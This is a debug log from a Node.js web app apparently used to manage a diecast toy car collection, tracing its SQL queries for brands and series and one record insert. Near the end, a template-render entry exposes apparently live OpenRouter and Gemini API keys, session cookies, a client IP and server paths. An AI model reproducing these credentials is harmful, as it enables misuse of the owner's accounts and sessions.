    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T05:25:08.951Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 50,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      name: 'Ford',
      id: 108,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Renault',
      id: 109,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Citroën',
      id: 110,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volkswagen',
      id: 111,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Honda',
      id: 112,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'McLaren',
      id: 114,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Lamborghini',
      id: 115,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Chevrolet',
      id: 118,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Toyota',
      id: 119,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mitsubishi',
      id: 120,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Peugeot',
      id: 121,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volvo',
      id: 123,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Ferrari',
      id: 124,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bentley',
      id: 125,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'BMW',
      id: 126,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Alfa Romeo',
      id: 128,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bugatti',
      id: 129,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Porsche',
      id: 130,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Scania',
      id: 131,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Audi',
      id: 132,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T05:25:13.311Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T05:25:13.311Z server-connect:app Executing action step identify
2026-02-04T05:25:13.311Z server-connect:app options: { provider: 'security' }
2026-02-04T05:25:13.311Z server-connect:output identity: 1
2026-02-04T05:25:13.311Z server-connect:app Executing action step restrict
2026-02-04T05:25:13.311Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:25:13.312Z server-connect:output restrict: undefined
2026-02-04T05:25:13.312Z server-connect:app Executing action step paged
2026-02-04T05:25:13.312Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T05:25:13.313Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T05:25:17.126Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T05:25:17.127Z server-connect:app Executing action step identify
2026-02-04T05:25:17.127Z server-connect:app options: { provider: 'security' }
2026-02-04T05:25:17.127Z server-connect:output identity: 1
2026-02-04T05:25:17.127Z server-connect:app Executing action step restrict
2026-02-04T05:25:17.127Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:25:17.127Z server-connect:output restrict: undefined
2026-02-04T05:25:17.127Z server-connect:app Executing action step paged
2026-02-04T05:25:17.127Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T05:25:17.129Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 50,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      name: 'Ford',
      id: 108,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Renault',
      id: 109,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Citroën',
      id: 110,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volkswagen',
      id: 111,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Honda',
      id: 112,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'McLaren',
      id: 114,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Lamborghini',
      id: 115,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Chevrolet',
      id: 118,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Toyota',
      id: 119,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mitsubishi',
      id: 120,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Peugeot',
      id: 121,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volvo',
      id: 123,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Ferrari',
      id: 124,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bentley',
      id: 125,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'BMW',
      id: 126,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Alfa Romeo',
      id: 128,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bugatti',
      id: 129,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Porsche',
      id: 130,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Scania',
      id: 131,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Audi',
      id: 132,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T05:25:18.366Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T05:25:18.367Z server-connect:app Executing action step identify
2026-02-04T05:25:18.367Z server-connect:app options: { provider: 'security' }
2026-02-04T05:25:18.367Z server-connect:output identity: 1
2026-02-04T05:25:18.367Z server-connect:app Executing action step restrict
2026-02-04T05:25:18.367Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:25:18.367Z server-connect:output restrict: undefined
2026-02-04T05:25:18.367Z server-connect:app Executing action step paged
2026-02-04T05:25:18.367Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T05:25:18.369Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 59,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T05:25:21.446Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T05:25:21.447Z server-connect:app Executing action step identify
2026-02-04T05:25:21.447Z server-connect:app options: { provider: 'security' }
2026-02-04T05:25:21.447Z server-connect:output identity: 1
2026-02-04T05:25:21.447Z server-connect:app Executing action step restrict
2026-02-04T05:25:21.447Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:25:21.448Z server-connect:output restrict: undefined
2026-02-04T05:25:21.448Z server-connect:app Executing action step paged
2026-02-04T05:25:21.448Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T05:25:21.449Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 6,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    }
  ]
}
2026-02-04T05:25:31.138Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-04T05:25:31.138Z server-connect:app Executing action step identify
2026-02-04T05:25:31.138Z server-connect:app options: { provider: 'security' }
2026-02-04T05:25:31.139Z server-connect:output identity: 1
2026-02-04T05:25:31.139Z server-connect:app Executing action step restrict
2026-02-04T05:25:31.139Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:25:31.139Z server-connect:output restrict: undefined
2026-02-04T05:25:31.139Z server-connect:app Executing action step condition
2026-02-04T05:25:31.139Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T05:25:31.139Z server-connect:app Executing action step insert
2026-02-04T05:25:31.139Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T05:25:31.140Z server-connect:output insert: { affected: 1, identity: 191 }
2026-02-04T05:25:31.140Z server-connect:output condition: undefined
2026-02-04T05:25:31.346Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T05:25:31.346Z server-connect:app Executing action step identify
2026-02-04T05:25:31.346Z server-connect:app options: { provider: 'security' }
2026-02-04T05:25:31.346Z server-connect:output identity: 1
2026-02-04T05:25:31.346Z server-connect:app Executing action step restrict
2026-02-04T05:25:31.346Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:25:31.346Z server-connect:output restrict: undefined
2026-02-04T05:25:31.346Z server-connect:app Executing action step paged
2026-02-04T05:25:31.346Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T05:25:31.348Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 7,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    }
  ]
}
2026-02-04T05:30:48.468Z server-connect:router Serving templateView /diecast
2026-02-04T05:30:48.469Z server-connect:app Executing action step identify
2026-02-04T05:30:48.469Z server-connect:app options: { provider: 'security' }
2026-02-04T05:30:48.469Z server-connect:output identity: 1
2026-02-04T05:30:48.469Z server-connect:app Executing action step restrict
2026-02-04T05:30:48.469Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T05:30:48.470Z server-connect:output restrict: undefined
2026-02-04T05:30:48.470Z server-connect:router Render template diecast
2026-02-04T05:30:48.470Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T05:30:48.708Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:30:48.711Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:30:48.712Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:30:48.712Z server-connect:app Executing action step identify
2026-02-04T05:30:48.712Z server-connect:app options: { provider: 'security' }
2026-02-04T05:30:48.712Z server-connect:output identity: 1
2026-02-04T05:30:48.712Z server-connect:app Executing action step restrict
2026-02-04T05:30:48.712Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:30:48.713Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:30:48.713Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T05:30:48.713Z server-connect:output restrict: undefined
2026-02-04T05:30:48.713Z server-connect:app Executing action step select
2026-02-04T05:30:48.713Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:30:48.714Z server-connect:app Executing action step identify
2026-02-04T05:30:48.714Z server-connect:app options: { provider: 'security' }
2026-02-04T05:30:48.714Z server-connect:output identity: 1
2026-02-04T05:30:48.714Z server-connect:app Executing action step restrict
2026-02-04T05:30:48.714Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:30:48.714Z server-connect:app Executing action step identify
2026-02-04T05:30:48.714Z server-connect:app options: { provider: 'security' }
2026-02-04T05:30:48.714Z server-connect:output identity: 1
2026-02-04T05:30:48.714Z server-connect:app Executing action step restrict
2026-02-04T05:30:48.714Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:30:48.715Z server-connect:app Executing action step identify
2026-02-04T05:30:48.715Z server-connect:app options: { provider: 'security' }
2026-02-04T05:30:48.715Z server-connect:output identity: 1
2026-02-04T05:30:48.715Z server-connect:app Executing action step restrict
2026-02-04T05:30:48.715Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:30:48.715Z server-connect:app Executing action step identify
2026-02-04T05:30:48.715Z server-connect:app options: { provider: 'security' }
2026-02-04T05:30:48.715Z server-connect:output identity: 1
2026-02-04T05:30:48.716Z server-connect:app Executing action step restrict
2026-02-04T05:30:48.716Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:30:48.716Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T05:30:48.717Z server-connect:output restrict: undefined
2026-02-04T05:30:48.717Z server-connect:app Executing action step select
2026-02-04T05:30:48.717Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:30:48.718Z server-connect:output restrict: undefined
2026-02-04T05:30:48.718Z server-connect:app Executing action step paged
2026-02-04T05:30:48.718Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
